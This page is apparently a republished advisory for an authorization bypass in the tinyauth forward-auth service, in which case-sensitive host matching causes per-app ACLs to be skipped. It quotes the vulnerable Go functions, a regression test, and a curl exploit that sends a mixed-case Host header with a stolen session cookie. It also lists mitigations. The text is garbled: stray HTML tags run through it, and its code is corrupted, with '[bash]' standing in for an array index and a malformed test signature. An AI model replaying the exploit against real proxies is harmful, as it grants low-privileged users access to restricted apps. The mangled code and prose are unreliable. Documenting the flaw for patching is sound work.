tinyauth, Authorization Bypass via Case-Sensitive ACL Host Matching, CVE ID: N/A (no CVE in provided advisory), High -DC-Sep2026-2529

Listen to this Post

tinyauth is a forward-auth service used by Traefik, Caddy, nginx, and Envoy.
The reverse proxy calls GET /api/auth/ before forwarding each request upstream.
tinyauth returns 200 only when the request is authorized.
tinyauth maps the forwarded hostname to per-app ACL rules.
ACL sources are static apps: config and Docker labels.
Each app ACL can restrict users.allow, users.block, oauth.whitelist, oauth.groups, ldap.groups, and ip.allow.
These allowlists separate one protected app from another for shared authenticated users.

The hostname-to-ACL lookup uses case-sensitive Go string comparisons.

It compares config.Config.Domain == domain.

It also compares strings.SplitN(domain, “.”, 2)

 == app.</h2>

Hostnames are case-insensitive in DNS, HTTP Host routing, and TLS SNI.
immich.example.com and IMMICH.example.com therefore route to the same backend.
A mixed-case host is forwarded in X-Forwarded-Host, X-Original-URL, or Host.

<h2 style="color: blue;">tinyauth's case-sensitive lookup misses the configured ACL entry.</h2>

<h2 style="color: blue;">On a miss, GetAccessControls falls back to DockerService.GetLabels.</h2>

GetLabels returns an empty config.App{} with no error when nothing matches.
It also returns an empty App when Docker is not connected.

<h2 style="color: blue;">The proxy handler evaluates that empty App.</h2>

<h2 style="color: blue;">IsAuthEnabled becomes true.</h2>

<h2 style="color: blue;">CheckIP with no allow/block becomes allowed.</h2>

<h2 style="color: blue;">IsUserAllowed with empty users.allow calls CheckFilter("", ...).</h2>

<h2 style="color: blue;">CheckFilter returns true for an empty filter.</h2>

Group checks with empty required groups also return true.
Any already-authenticated user is then authorized with 200 Authenticated.

<h2 style="color: blue;">This defeats users/groups/IP allowlists for every proxy integration.</h2>

<h2 style="color: blue;">The attacker must have a valid low-privileged account.</h2>

<h2 style="color: blue;">The bypass is authorization-only, not authentication.</h2>

<h2 style="color: blue;">Unauthenticated visitors are still redirected to login.</h2>

A mixed-case Host header, trailing FQDN dot, or added port can trigger the miss.
tinyauth emits Remote-User and Remote-Email to upstream apps after the bypass.

<h2 style="color: blue;">DailyCVE Form:</h2>

Platform: tinyauth forward-auth
Version: < 5.1.2
Vulnerability: ACL host bypass
Severity: High
date: Not provided

<h2 style="color: blue;">Prediction: Patch date unknown</h2>

<h2 style="color: blue;">(end of form)</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
mkdir -p internal/assets/dist
printf '<!doctype html><>stub</>' > internal/assets/dist/index.html
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
func (acls AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain {
return config, nil
}
if strings.SplitN(domain, ".", 2)[bash] == app {
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (docker DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil
}
return config.App{}, nil
}
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true
}
return false
}

how Exploit: (Educational Purposes!)

curl -H 'Host: IMMICH.example.com' https://<proxy>/ --cookie 'tinyauth-session=<bob-session>'
func TestForwardAuthHostCaseACLBypass(t testing.T) {
lower := forwardAuth("immich.example.com")
upper := forwardAuth("IMMICH.example.com")
assert.Equal(t, 403, lower.Code)
require.Equal(t, 200, upper.Code)
require.Equal(t, "bob", upper.Header().Get("Remote-User"))
}

Protection: from this CVE

Canonicalize forwarded host.

Lower-case ACL domains.

Use strings.EqualFold.

Fail closed on ACL miss.

Deny by default.

Add regression tests.

Impact:

Any authenticated user reaches restricted apps.

Per-app allowlists are bypassed.

Remote-User identity is spoofed.

Protected app data becomes readable.

Protected app actions become writable.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top